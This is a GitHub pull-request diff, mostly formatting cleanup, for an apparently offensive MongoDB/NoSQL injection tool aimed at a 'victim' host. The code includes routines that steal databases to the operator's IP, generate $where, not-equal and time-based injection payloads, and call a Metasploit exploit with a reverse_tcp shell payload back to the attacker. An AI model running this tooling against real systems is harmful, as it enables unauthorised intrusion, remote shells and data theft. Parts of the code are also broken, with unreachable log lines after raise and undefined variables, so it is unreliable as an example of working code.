Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 14 additions & 8 deletions lib/connections.py
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,7 @@ def __init__(self, options):

if options.victim == "":
raise MinParametersViolation
Logger.error("Missing parameter: target host.")
self.username = options.mongoUn
self.password = options.mongoPw
self.target = options.victim
Expand All @@ -48,6 +49,7 @@ def __init__(self, options):
self.conn = MongoClient(self.uri)
except mongoError.ConnectionFailure:
raise MongoConnectionError
Logger.error("Error connecting to local MongoDB.")
Logger.info("Connection established")

def doSingleOperation(self, func):
Expand All @@ -67,8 +69,10 @@ def doSingleOperation(self, func):
info = getattr(self.conn, func)()
except mongoError.ConnectionFailure:
raise MongoConnectionError
Logger.error("Error connecting to local MongoDB.")
except mongoError.ConnectionFailure:
raise MongoConnectionError
Logger.error("Error connecting to local MongoDB.")
return info

def getServerInfo(self):
Expand All @@ -79,18 +83,18 @@ def getServerInfo(self):
"""

self.serverInfo = self.doSingleOperation("server_info")
interestingData=["sysInfo","version","bits",]
m="\n"
interestingData = ["sysInfo", "version", "bits"]
m = "\n"
for el in interestingData:
if el == "sysInfo":
m+= "Mongo Build Info: " + str(self.serverInfo["sysInfo"]) + "\n"
m += "Mongo Build Info: " + str(self.serverInfo["sysInfo"]) + "\n"

elif el == "version":
m+= "Mongo DB Version: " + str(self.serverInfo["version"]) + "\n"
m += "Mongo DB Version: " + str(self.serverInfo["version"]) + "\n"

elif el == "bits":
m+= "Platform: " + str(self.serverInfo["bits"]) + " bit\n"
return m+"\n"
m += "Platform: " + str(self.serverInfo["bits"]) + " bit\n"
return m +"\n"

def stealDBs(self, options):
"""
Expand All @@ -105,6 +109,7 @@ def stealDBs(self, options):

if options.myIP == "" or options.myPort == -1 or options.victim == "":
raise MinParametersViolation
Logger.error("Missing parameter: specify IP, host or port number.")

if not hasattr(self, "dbList"):
self.getDbList()
Expand Down Expand Up @@ -157,10 +162,10 @@ def getCollectionList(self, db):
Iterate on all the db, collecting collection_names and putting them in a list

"""
self.collList=self.doSingleOperation("collection_names")
self.collList = self.doSingleOperation("collection_names")
m = ""
for el in self.collList:
m += "\n%s" %(el)
m += "\n%s" % (el)
return m + "\n"

class WebConnection:
Expand All @@ -173,6 +178,7 @@ class WebConnection:
def __init__(self,options):
if options.victim == "":
raise MinParametersViolation
Logger.error("Missing parameter: target host.")
self.target = options.victim
self.port = options.mongoWebPort
self.uri = "http://%s:%s/" % (self.target, self.port)
Expand Down
2 changes: 1 addition & 1 deletion lib/injStrings.py
Original file line number Diff line number Diff line change
Expand Up @@ -90,7 +90,7 @@ def createIdString(self):
"""

for st in itertools.product(self.sizes, self.formats):
yield "%s" %(randInjString(st[0], st[1]))
yield "%s" % (randInjString(st[0], st[1]))

def makeNeqString(self, origString):
"""
Expand Down
93 changes: 46 additions & 47 deletions lib/injection.py
Original file line number Diff line number Diff line change
Expand Up @@ -63,13 +63,13 @@ def __init__(self, connection, standard_length,vulnParam=""):
self.conn = connection
self.dictOfParams = connection.payload
if vulnParam:
self.testingParams=[vulnParam]
self.testingParams = [vulnParam]
else:
self.testingParams = connection.payload
self.standardLength = standard_length
self.injStringCreator=injStrings.InjectionStringCreator()
self.possVuln=[]
self.sureVuln=[]
self.injStringCreator = injStrings.InjectionStringCreator()
self.possVuln = []
self.sureVuln = []
self.successfulAttacks = {}

def __addSuccessful(self, suc, funcName):
Expand All @@ -79,18 +79,18 @@ def __addSuccessful(self, suc, funcName):
"""

if suc:
self.successfulAttacks[funcName]=True
self.successfulAttacks[funcName] = True
else:
self.successfulAttacks[funcName]=False
self.successfulAttacks[funcName] = False

def __logResult(self, result):
"""
Printing function according to the result (-1,0,1).
"""

if result==-1:
if result == -1:
Logger.error("Injection Failed")
if result==0:
elif result == 0:
Logger.warning("Injection possibly Succeeded")
else:
Logger.success("Injection Succeeded")
Expand All @@ -101,16 +101,15 @@ def __saveResult(self, result, connParams):
Return True if attack possible/succeeded, False otherwise.
"""

if result==-1:
if result == -1:
return False
elif result==0:
elif result == 0:
self.possVuln.append(connParams)
return True
else:
self.sureVuln.append(connParams)
return True


def __performInjection(self, verificationFunction, injParam="", injectString="", removeEqual=False, dummyInjection=False):
"""
Perform an injection.
Expand All @@ -123,9 +122,7 @@ def __performInjection(self, verificationFunction, injParam="", injectString="",
@dummyInjection: boolean, used when the injection is not using any injection string

Return the result from the verificationFunction (should be -1,0,1) and a list of elements "connParams" ready to be inserted in possibleVuln/sureVuln list
"""


"""

def removeEqual(tup, injParam):
"""
Expand All @@ -134,13 +131,13 @@ def removeEqual(tup, injParam):
Take as input a list of parameters, and the parameter from which we want to remove the equal.
Return the list of parameters where the equal is removed.
"""
l=[]
l = []
for el in tup:
ele = el
pos=el.find(injParam)
stLen=len(injParam)
if pos != -1 and el[pos+stLen]=="=":
ele = el[:pos+stLen]+el[pos+stLen+1:]
pos = el.find(injParam)
stLen = len(injParam)
if pos != -1 and el[pos+stLen] == "=":
ele = el[:pos+stLen] + el[pos+stLen+1:]
l.append(ele)
return l
tmpDic = copy.deepcopy(self.dictOfParams)
Expand All @@ -152,10 +149,10 @@ def removeEqual(tup, injParam):
code, length = self.conn.doConnection(connParams)
if code != 200: #if no good answer pass to successive test
return False
m="Got response length of %s" %(length)
m = "Got response length of %s" %(length)
Logger.info(m)
result = verificationFunction(length)
return result,connParams
return result, connParams

def baselineTestEnterRandomString(self, params, injectString):
'''this function is needed by other functions in order to test things (ex for mongoPHP not equal)'''
Expand All @@ -168,7 +165,7 @@ def checkLength(length):
return 1

res, connParams = self.__performInjection(checkLength, params, injectString)
return res,connParams
return res, connParams

def mongoPHPNotEqualAssociativeArray(self):
"""
Expand All @@ -177,107 +174,109 @@ def mongoPHPNotEqualAssociativeArray(self):
veryFunction is based on returned length of the page.
"""



def verifyFunction(length):
randInjDelta = abs(length - self.injectStringLength)
if (randInjDelta >= 100) and (length != 0) :
if (randInjDelta >= 100) and (length != 0):
return 1

elif (randInjDelta > 0) and (randInjDelta < 100) and (length != 0) :
elif (randInjDelta > 0) and (randInjDelta < 100) and (length != 0):
return 0
elif (randInjDelta == 0):
return -1
else:
return 0
funcName="mongoPHPNotEqualAssociativeArray"

funcName = "mongoPHPNotEqualAssociativeArray"
Logger.info("Testing Mongo PHP not equals associative array injection")
cic = False
for params in self.testingParams:
for injectString in self.injStringCreator.createIdString():
injectNeqString = self.injStringCreator.makeNeqString(injectString)
m="using %s for injection testing" %(injectNeqString)
m = "Using %s for injection testing" % (injectNeqString)
Logger.info(m)
origRes, origConnParams = self.baselineTestEnterRandomString(params, injectString)
res,connParams=self.__performInjection(verifyFunction, params, injectNeqString, True)
res, connParams=self.__performInjection(verifyFunction, params, injectNeqString, True)
cic = cic or self.__saveResult(res, connParams)
self.__logResult(res)
self.successfulAttacks[funcName]= cic
self.successfulAttacks[funcName] = cic

def mongoWhereInjection(self):

def verifyFunction(length):
randInjDelta = abs(length - self.injectStringLength)
if (randInjDelta >= 100) and (length != 0) :
if (randInjDelta >= 100) and (length != 0):
return 1

elif (randInjDelta > 0) and (randInjDelta < 100) and (length != 0) :
elif (randInjDelta > 0) and (randInjDelta < 100) and (length != 0):
return 0
elif (randInjDelta == 0):
return -1
else:
return 0

funcName="mongoWhereInjection"
Logger.info("Testing Mongo <2.4 $where all Javascript escape attack")
cic = False
for params in self.testingParams:
for injectString in self.injStringCreator.createIdString():
for injectWhereString in self.injStringCreator.makeWhereString(injectString):
m="using %s for injection testing" %(injectWhereString)
m = "Using %s for injection testing" % (injectWhereString)
Logger.info(m)
origRes, origConnParams = self.baselineTestEnterRandomString(params, injectString)
res,connParams=self.__performInjection(verifyFunction, params, injectWhereString, False)
res, connParams = self.__performInjection(verifyFunction, params, injectWhereString, False)
cic = cic or self.__saveResult(res, connParams)
self.__logResult(res)
self.successfulAttacks[funcName]= cic
self.successfulAttacks[funcName] = cic

def mongoThisNotEqualEscape(self):

def verifyFunction(length):
randInjDelta = abs(length - self.injectStringLength)
if (randInjDelta >= 100) and (length != 0) :
if (randInjDelta >= 100) and (length != 0):
return 1

elif (randInjDelta > 0) and (randInjDelta < 100) and (length != 0) :
elif (randInjDelta > 0) and (randInjDelta < 100) and (length != 0):
return 0
elif (randInjDelta == 0):
return -1
else:
return 0
funcName="MongoThisNotEqualEscape"

funcName = "MongoThisNotEqualEscape"
Logger.info("Testing Mongo this not equals escape attack")
cic = False
for params in self.testingParams:
for injectString in self.injStringCreator.createIdString():
for injectThisString in self.injStringCreator.makeBlindNeqString(injectString):
m="using %s for injection testing" %(injectWhereString)
m = "Using %s for injection testing" % (injectWhereString)
Logger.info(m)
origRes, origConnParams = self.baselineTestEnterRandomString(params, injectString)
res,connParams=self.__performInjection(verifyFunction,params, injectThisString, False)
res, connParams = self.__performInjection(verifyFunction, params, injectThisString, False)
cic = cic or self.__saveResult(res, connParams)
self.__logResult(res)
self.successfulAttacks[funcName]= cic
self.successfulAttacks[funcName] = cic


def mongoTimeBasedInjection(self):
#VERY NAIVE IMPLEMENTATION, IMPROVE WITH MORE TESTING
def dummyF(l):
return 0
funcName="mongoTimeBasedInjection"
funcName = "mongoTimeBasedInjection"
Logger.info("Testing time based injection")
start=time.time()
res,connParams = self.__performInjection(dummyF, dummyInjection=True)
start = time.time()
res, connParams = self.__performInjection(dummyF, dummyInjection=True)
end = time.time()
for params in self.testingParams:
for injectString in self.injStringCreator.createTimeString():
startTest = time.time()
res,connParams=self.__performInjection(dummyF, params, injectString)
res, connParams = self.__performInjection(dummyF, params, injectString)
endTest = time.time()
#TIME TESTING PERFORMED LOCALLY TODO: CREATE AN ABSTRACT FACTORY FOR TET WORKING
strTimeDelta = (int(round((end - start), 3)) - timeBase)
if strTimeDelta > 25:
m="HTTP load time variance was %s seconds! Injection succeeded" %(strTimeDelta)
m = "HTTP load time variance was %s seconds! Injection succeeded" % (strTimeDelta)
Logger.success(m)
suc=True
suc = True
self.sureVuln.append(connParams)

self.__addSuccessful(suc,funcName)
2 changes: 1 addition & 1 deletion lib/log.py
Original file line number Diff line number Diff line change
Expand Up @@ -53,7 +53,7 @@ def debug(cls, message) :
@classmethod
def info(cls, message) :
if cls.isLevel(Logger.INFO) :
print Logger.COLINFO+"INFO : " + message + Logger.COLENDC
print Logger.COLINFO + "INFO : " + message + Logger.COLENDC

@classmethod
def warn(cls, message) :
Expand Down
9 changes: 5 additions & 4 deletions lib/metasploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,10 +22,11 @@
def metasploitMongoShell(options):
'''requires a victim, my own ip and my port'''

if options.victim=="" or options.myIP=="" or options.myPort<0:
if options.victim == "" or options.myIP == "" or options.myPort < 0:
raise MinParametersViolation
cmd = "msfcli exploit/linux/misc/mongod_native_helper RHOST=%s DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=%s LPORT=%s E" %(options.victim, options.myIP, options.myPort)
Logger.error("Missing parameter: specify target host, IP or port.")
cmd = "msfcli exploit/linux/misc/mongod_native_helper RHOST=%s DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=%s LPORT=%s E" % (options.victim, options.myIP, options.myPort)
try:
proc = subprocess.call(cmd, shell=True)
except OSError,e:
Logger.error("Something went wrong while calling mongoshell exploit.\n"+e)
except OSError, e:
Logger.error("Something went wrong while calling mongoshell exploit.\n" + e)
Loading